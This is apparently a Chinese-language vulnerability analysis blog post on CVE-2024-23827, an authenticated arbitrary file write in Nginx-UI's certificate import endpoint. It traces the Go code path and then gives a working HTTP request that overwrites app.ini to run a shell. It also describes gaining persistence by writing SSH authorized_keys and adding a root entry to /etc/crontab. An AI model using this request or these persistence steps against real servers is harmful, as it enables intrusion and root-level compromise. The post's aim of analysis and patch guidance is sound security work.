https://xz.aliyun.com/t/13580?time__1311=mqmxnQiQG%3DDQDtGODlcIo0%3Dii%3DNC3fG7iD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2F
作者:For82
漏洞描述
Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.
Nginx UI是一个用于管理Nginx配置的web界面。其中导入证书功能,允许任意写入文件。该功能不检查提供的用户输入是否是证书/密钥,并允许写入系统中的任意路径。通过覆盖配置文件app.ini,有可能利用该漏洞进行远程代码执行。2.0.0.beta.12版本修复了该问题
影响版本
<v2.0.0-beta.12
安全版本
v2.0.0-beta.12
漏洞分析
路由分析
通过漏洞描述我们可以知道漏洞点是位于导入证书功能,搭建好靶场后,进入web页面,导入抓包。获取路由。
查看代码,可以发现系统使用gin框架,gin框架的路由定义可以参考以下例子,是通过绑定一个相应请求到路由上,当访问这个路由时,就会会执行相应的函数。
package main
import
(
"github.com/gin-gonic/gin"
)
func
main
()
{
// 创建一个默认的路由引擎
r := gin.
Default
()
// 绑定一个GET请求到 /hello 路由上,当访问这个路由时,会执行相应的函数
r.
GET
(
"/hello"
,
func
(
c
*gin.Context)
{
// 使用Context的String方法返回响应码200和字符串"Hello World"
c
.
String
(
200
,
"Hello World"
)
})
// 运行HTTP服务器,默认监听在0.0.0.0:8080
r.
Run
()
}
这里直接进行关键词搜索我们可以到api路径下,r.Group("/api")
是用来创建一个路由组的方法。其中g := root.Group("/", authRequired(), proxy())
的authRequired()
和proxy()
是作为中间件应用到这个路由组的,authRequired()
从名字可以看出用于验证用户身份。
查看authRequired()
函数代码,具体为从请求头中读取Authorization
,如果为空读取X-Node-Secre,然后使用CheckToken
方法进行查询。
func
authRequired
()
gin.
HandlerFunc
{
return
func
(
c
*gin.Context)
{
abortWithAuthFailure :=
func
()
{
c
.
AbortWithStatusJSON
(http.
StatusForbidden
, gin.
H
{
"message"
:
"Authorization failed"
,
})
}
token :=
c
.
GetHeader
(
"Authorization"
)
if
token ==
""
{
if
token =
c
.
GetHeader
(
"X-Node-Secret"
); token !=
""
&& token == settings.
ServerSettings
.
NodeSecret
{
c
.
Set
(
"NodeSecret"
, token)
c
.
Next
()
return
}
else
{
c
.
Set
(
"ProxyNodeID"
,
c
.
Query
(
"x_node_id"
))
tokenBytes,
_
:= base64.
StdEncoding
.
DecodeString
(
c
.
Query
(
"token"
))
token = string(tokenBytes)
if
token ==
""
{
abortWithAuthFailure()
return
}
}
}
if
model.
CheckToken
(token) <
1
{
abortWithAuthFailure()
return
}
if
nodeID :=
c
.
GetHeader
(
"X-Node-ID"
); nodeID !=
""
{
c
.
Set
(
"ProxyNodeID"
, nodeID)
}
c
.
Next
()
}
}
这里CheckToken
为从数据库中查找token,虽然从后续的GenerateJWT
方法可以看出使用JWT认证,但其中的JwtSecret在配置文件中定义(不存在硬编码问题),并且GenerateJWT
方法创建JWT后执行存进数据库操作,并且认证也是进行数据库取值比对,这里的验证未发现绕过操作,漏洞属于需要认证的后台漏洞。
漏洞点分析
从上面的/api/路由组中我们可以发现certificate.InitCertificateRouter(g)
函数,注册了一系列与证书相关的路由和处理器,其中就存在cert
路由以及处理器AddCert
。
查看AddCert
函数代码可以发现它是一个Gin的HTTP处理函数,用于添加一个新的证书。首先定义一个匿名结构体,用于解析和验证传入的JSON请求体。其中的证书路径和证书密钥路径,属于必填,用于后续的创建文件,然后初始化一个证书模型对象接收传入的json参数。接收成功后执行content.WriteFile()
写入文件。
func
AddCert
(c *gin.Context)
{
var
json
struct
{
Name
string
`json:"name"`
SSLCertificatePath
string
`json:"ssl_certificate_path" binding:"required"`
SSLCertificateKeyPath
string
`json:"ssl_certificate_key_path" binding:"required"`
SSLCertificate
string
`json:"ssl_certificate"`
SSLCertificateKey
string
`json:"ssl_certificate_key"`
ChallengeMethod
string
`json:"challenge_method"`
DnsCredentialID
int
`json:"dns_credential_id"`
}
if
!api.BindAndValid(c, &json) {
return
}
certModel := &model.Cert{
Name: json.Name,
SSLCertificatePath: json.SSLCertificatePath,
SSLCertificateKeyPath: json.SSLCertificateKeyPath,
ChallengeMethod: json.ChallengeMethod,
DnsCredentialID: json.DnsCredentialID,
}
err := certModel.Insert()
if
err !=
nil
{
api.ErrHandler(c, err)
return
}
content := &cert.Content{
SSLCertificatePath: json.SSLCertificatePath,
SSLCertificateKeyPath: json.SSLCertificateKeyPath,
SSLCertificate: json.SSLCertificate,
SSLCertificateKey: json.SSLCertificateKey,
}
err = content.WriteFile()
if
err !=
nil
{
api.ErrHandler(c, err)
return
}
c.JSON(http.StatusOK, Transformer(certModel))
}
查看WriteFile
()函数,从名字就可以知道这是一个进行写入文件操作的函数。可以看到会先创建创建存放SSL证书的目录和存放SSL证书密钥的目录,如果目录已存在就不会进行创建操作。如何将内容写入文件。
func
(
c
*Content)
WriteFile
() (err error) {
// MkdirAll creates a directory named path, along with any necessary parents,
// and returns nil, or else returns an error.
// The permission bits perm (before umask) are used for all directories that MkdirAll creates.
// If path is already a directory, MkdirAll does nothing and returns nil.
err = os.
MkdirAll
(filepath.
Dir
(
c
.
SSLCertificatePath
),
0644
)
if
err !=
nil
{
return
}
err = os.
MkdirAll
(filepath.
Dir
(
c
.
SSLCertificateKeyPath
),
0644
)
if
err !=
nil
{
return
}
if
c
.
SSLCertificate
!=
""
{
err = os.
WriteFile
(
c
.
SSLCertificatePath
, []byte(
c
.
SSLCertificate
),
0644
)
if
err !=
nil
{
return
}
}
if
c
.
SSLCertificateKey
!=
""
{
err = os.
WriteFile
(
c
.
SSLCertificateKeyPath
, []byte(
c
.
SSLCertificateKey
),
0644
)
if
err !=
nil
{
return
}
}
return
}
文件写入利用思路
这里我们知道我们可以将任意内容写入服务器中任意文件,也可以创建新的文件,不过这里需要注意一个点,如果是新创建的文件权限为0644是不具备执行权限的。这里的权限为所有者允许读写,而所属组成员和其他用户仅读取。所以这里我们需要关注于本机上已经存在的文件。这里先分析漏洞发现者的利用思路。
利用程序配置文件
在前面查看app.ini配置文件时,我们可以发现一个参数StartCmd
。
通过搜索StartCmd
参数可以发现,其在NewPipeLine
函数中被执行。分析代码可以发现NewPipeLine
函数是启动一个新的伪终端的操作。通看上下文代码可以知道作者写这里的作用是为了实现一个在Web浏览器中创建一个类似命令行的界面,让用户能够远程执行和控制一个shell会话。
这里StartCmd
参数中的值会被c := exec.Command(settings.ServerSettings.StartCmd)
执行,所以我们只需要将我们想要执行的名通过StartCmd
参数写入app.ini配置文件,app,ini为程序启动的配置文件,在程序重新启动时便可以执行我们想要的命令。
这里的利用思路很巧妙,不过缺点在于需要重新启动程序。这里也可以利用常用的文件写入的利用思路。
POST
/api/cert
HTTP/1.1
Host
: 127.0.0.1:9000
Content-Length
: 980
Accept
: application/json, text/plain, */*
Authorization
: <JWT>
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type
: application/json
Accept-Encoding
: gzip, deflate, br
Accept-Language
: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection
: close
{
"name"
:
"poc"
,
"ssl_certificate_path"
:
"/root/nginx/app.ini"
,
"ssl_certificate_key_path"
:
"/tmp/test2"
,
"ssl_certificate"
:
"[server]rnHttpHost = 0.0.0.0rnHttpPort = 9000rnRunMode = debugrnJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794crnNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5rnHTTPChallengePort = 9180rnEmail = [email protected] = databasernStartCmd = bashrnCADir = dqsdqsdrnDemo = falsernPageSize = 10rnGithubProxy = dqsdqfsdfsdfsdfsdrnrn[nginx]rnAccessLogPath =rnErrorLogPath =rnConfigDir =rnPIDPath =rnTestConfigCmd =rnReloadCmd =rnRestartCmd =rnrn[openai]rnBaseUrl = rnToken =rnProxy =rnModel = rnrn[casdoor]rnEndpoint =rnClientId =rnClientSecret =rnCertificate =rnOrganization =rnApplication =rnRedirectUri ="
,
"ssl_certificate_key"
:
"test2"
}
写入SSH公钥免密登陆
这里也可以通过写入写入SSH公钥免密登陆,首先我们需要先在客户端生成SSH密钥对,可以使用 ssh-keygen
命令
ssh-keygen -t rsa -b 4096
此时会在在 ~/.ssh/
目录下生成两个文件,id_rsa
(私钥)和 id_rsa.pub
(公钥)。我们只需要将生成的公钥(id_rsa.pub
)写入到服务器的 ~/.ssh/authorized_keys
文件中,便可以直接通过ssh登陆到服务器。
成功写入SSH公钥
成功登陆服务器
计划任务
Linux计划任务是一种在Linux操作系统中自动执行任务的方法,cron
是一个守护进程,它根据一个称为crontab(cron table)的配置文件运行。我们可以通过crontab
命令编辑他们的个人计划任务列表,也可以直接编辑系统中自带的计划任务脚本。
-
/etc/crontab
:系统的主crontab文件。 -
/etc/cron.d/
:一个目录,可以包含附加的crontab配置文件。 -
/etc/cron.daily/
:存储每天执行一次的脚本。 -
/etc/cron.hourly/
:存储每小时执行一次的脚本。 -
/etc/cron.weekly/
:存储每周执行一次的脚本。 -
/etc/cron.monthly/
:存储每月执行一次的脚本。
当然每个用户也可以有自己的crontab文件,这些文件通常存储在/var/spool/cron/
目录中,在当前漏洞中我们新建的文件没有执行权限,所以优先直接更改系统自带的计划任务。我们可以直接更改系统的主crontab文件/etc/crontab
。打开格式如下,我们只需要在最新一行写上计划任务就行,如下。
SHELL=
/bin/bash
PATH=
/sbin:/bin
:/usr/sbin
:/usr/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
* * * * * root whoami
/var/log/whoami.log
2
>&
1
其中* * * * *
:时间和日期字段,每个星号代表一个时间单位。从左到右分别是:分钟、小时、一月中的日、月份、一周中的日。星号(*
)表示每个时间单位的每个可能的值。而root
表示任务将以 root
用户的权限执行。
将以上命令转换成json字符串传输进行。
成功写入文件
成功执行命令
总结
该漏洞是对于用户的输入是否是证书/密钥,写入系统中的文件路径。未经检查造成的任意文件写入漏洞。该漏洞存在创建文件操作,但文件无执行权限,并且对于golng这种编译型语言。没有办法上传webshell,所以只能通过上传或文件写入加其他利用达到RCE效果。
修复建议
将组件Nginx-UI升级至v2.0.0-beta.12及以上版本
来源
https://avd.aliyun.com/detail?id=AVD-2024-23827
原文始发于微信公众号(合天网安实验室):Nginx-Ul 任意文件写入漏洞分析与利用思路(CVE-2024-23827)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论